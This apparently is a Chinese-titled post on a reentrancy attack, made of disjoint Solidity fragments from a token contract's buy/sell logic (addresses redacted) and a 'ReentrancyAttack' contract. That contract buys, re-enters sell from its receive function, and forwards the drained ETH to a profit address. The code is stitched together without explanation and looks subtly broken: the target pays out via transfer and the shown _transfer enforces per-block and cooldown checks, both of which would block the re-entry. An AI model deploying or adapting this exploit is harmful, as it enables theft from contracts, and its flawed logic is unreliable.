重入攻击漏洞（Reentrancy Attack）

  function getAmountOut(uint256 value, bool _buy) public view returns (uint256) {    (uint256 reserveETH, uint256 reserveToken) = getReserves();    if (_buy) {      return (value * reserveToken) / (reserveETH + value);    } else {      return (value * reserveETH) / (reserveToken + value);    }  }  function buy() internal {    require(tradingEnable, 'Trading not enable');    uint256 msgValue = msg.value;    uint256 feeValue = msgValue * 2 / 100;    uint256 swapValue = msgValue - feeValue;    feeReceiver.transfer(feeValue);    uint256 token_amount = (swapValue * _balances[address(this)]) / (address(this).balance);    if (maxWalletEnable) {      require(token_amount + _balances[msg.sender] <= _maxWallet, 'Max wallet exceeded');    }    // uint256 user_amount = (token_amount / 10000) * 9900;    uint256 user_amount = token_amount;    // uint256 burn_amount = token_amount - user_amount;    _transfer(address(this), msg.sender, user_amount);    // _transfer(address(this), address(0), burn_amount);    emit Swap(msg.sender, swapValue, 0, 0, user_amount);  }  function sell(uint256 sell_amount) internal {    require(tradingEnable, 'Trading not enable');    // uint256 swap_amount = (sell_amount / 10000) * 9900;    uint256 swap_amount = sell_amount;    // uint256 burn_amount = sell_amount - swap_amount;    uint256 ethAmount = (swap_amount * address(this).balance) / (_balances[address(this)] + swap_amount);    require(ethAmount > 0, 'Sell amount too low');    require(address(this).balance >= ethAmount, 'Insufficient ETH in reserves');    _transfer(msg.sender, address(this), swap_amount);    // _transfer(msg.sender, address(0), burn_amount);    uint256 feeValue = ethAmount * 2 / 100;    payable(feeReceiver).transfer(feeValue);    payable(msg.sender).transfer(ethAmount - feeValue);    emit Swap(msg.sender, 0, sell_amount, ethAmount - feeValue, 0);  }  receive() external payable {    buy();  }}

 address payable public feeReceiver;  constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {    _name = name_;    _symbol = symbol_;    _totalSupply = totalSupply_;    _maxWallet = totalSupply_ * 2 / 100;    address receiver = xxx;打码了    feeReceiver = payable(xxx);打码了    owner = receiver;    tradingEnable = false;    maxWalletEnable = true;    _balances[receiver] = (totalSupply_ * 50) / 100;    uint256 liquidityAmount = totalSupply_ - _balances[receiver];    _balances[address(this)] = liquidityAmount;    liquidityAdded = false;  }

pragma solidity ^0.8.0;interface xxxxInterface {    function buy() external payable;    function sell(uint256 sell_amount) external;}contract ReentrancyAttack {    xxxxInterface public grokContract;    address public attacker;    address payable public profitAddress;    bool private reentrancyAttackExecuted;    constructor(address _grokAddress, address _profitAddress) {        grokContract = xxxxInterface(_grokAddress);        attacker = msg.sender;        profitAddress = payable(_profitAddress);    }    function attack(uint256 amount) external payable {        require(msg.value == amount, "Incorrect amount sent");        grokContract.buy{value: msg.value}();        grokContract.sell(msg.value);    }    receive() external payable {        if (!reentrancyAttackExecuted) {            reentrancyAttackExecuted = true;            grokContract.sell(msg.value);            profitAddress.transfer(address(this).balance);        }    }    function withdraw() external {        require(msg.sender == attacker, "Only attacker can withdraw");        profitAddress.transfer(address(this).balance);    }}

  function _transfer(address from, address to, uint256 value) internal virtual {    if (to != address(0)) {      require(lastTransaction[msg.sender] != block.number, "You can't make two transactions in the same block");      lastTransaction[msg.sender] = uint32(block.number);      require(block.timestamp >= _lastTxTime[msg.sender] + 60, 'Sender must wait for cooldown');      _lastTxTime[msg.sender] = block.timestamp;    }